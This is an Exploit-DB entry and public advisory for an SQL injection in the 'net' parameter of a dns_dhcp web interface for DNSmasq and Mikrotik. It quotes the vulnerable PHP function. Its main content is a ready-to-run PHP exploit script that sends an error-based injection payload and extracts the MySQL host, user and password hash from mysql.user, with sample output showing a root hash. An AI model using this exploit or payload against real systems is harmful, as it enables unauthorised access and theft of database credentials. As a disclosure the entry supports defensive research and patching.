Exploit-DB #39817
Description: Web Interface for DNSmasq / Mikrotik - SQL Injection
Type: webapps
Platform: php
Date: 2016-05-16
Author: hyp3rlinx

Exploit:
/*
[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/DNS_DHCP-WEB-INTERFACE-SQL-INJECTION.txt
[+] ISR: apparitionsec

Vendor:
====================
tmcdos / sourceforge

Product:
======================
dns_dhcp Web Interface

Download: sourceforge.net/projects/dnsmasq-mikrotik-admin/?source=directory

This is a very simple web interface for management of static DHCP leases in
DNSmasq and Mikrotik.
It generates config files for DNSmasq and uses RouterOS API to manage
Mikrotik. Network devices (usually PCs)
are separated into subnets by department and use triplets (hostname, MAC
address, IP address) for identification.
Information is stored in MySQL.

Vulnerability Type:
===================
SQL Injection

CVE Reference:
==============
N/A

Vulnerability Details:
=====================

The 'net' HTTP form POST parameter to dns.php script is not
checked/santized and is used directly in MySQL query allowing
attacker to easily exfiltrate any data from the backend database by using
SQL Injection exploits.

1) On line 239 of dns.php
$b = str_replace('{FIRMA}',a_select('SUBNET',$_REQUEST['net']),$b);

2)
dns.php line 187 the a_select function where 2nd argument $_REQUEST['net']
is passed to an concatenated to query ($clause)
and executed on line 194 mysql_query($query).

function a_select($tbl,$clause,$field='',$where='')
{
if ($clause==0) return '&#160;';
if($field=='') $field=$tbl;
$query = "SELECT $field FROM $tbl WHERE ";
if($where=='') $query.='ID='.$clause;
else $query.=$where;
$res = mysql_query($query) or
trigger_error($query.'<br>'.mysql_error(),E_USER_ERROR);
if(mysql_num_rows($res)>0) return mysql_result($res,0,0);
else return '&#160;';
}

Exploit code(s):
===============

Run from CL...
*/

<?php
#dns_dhcp SQL Injection Exploit
#exfiltrates host, user and password from MySQL
#by hyp3rlinx
#ISR - apparitionsec
#hyp3rlinx.altervista.org
#========================


$victim="localhost";
$url="/dns_dhcp/dns/dns.php";
$port=80;
$r='';

$s = fsockopen($victim, $port, $errno, $errstr, 30);
if(!$s){echo "Cant connect to the fucking server!"; exit();}

$sql="net=1 and (select 1 from(select count(*),concat((select (select
concat(0x2b,host,0x2b,user,0x2b,password,0x2b)) from mysql.user limit
1),floor(rand(0)*2))x from mysql.user group by x)a)";

    $out = "POST $url HTTP/1.1\r\n";
    $out .= "Host: $victim\r\n";
    $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $out .= 'Content-Length: ' . strlen($sql) . "\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($s, $out);
    fwrite($s, $sql);
    while (!feof($s)) {
        $r .= fgets($s, 128);
if(strpos($r,'Duplicate entry')!==FALSE){
$idx=strpos($r,'Duplicate entry');
echo substr($r,$idx);
break;
}
    }
    fclose($s);
/*
Example result:
Duplicate entry
'+localhost+root+*6691484EA6B50DDDE1926A220DA01FA9E575C18A+1' for key
'group_key'
*/
?>

/*
Disclosure Timeline:
===============================
Vendor Notification:  NA
May 14, 2016 : Public Disclosure

Exploitation Technique:
=======================
Remote

Severity Level:
================
High

Description:
==================================================
Request Method(s):        [+] POST

Vulnerable Product:       [+] dns_dhcp Web Interface

Vulnerable Parameter(s):  [+] 'net'
=====================================================

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
*/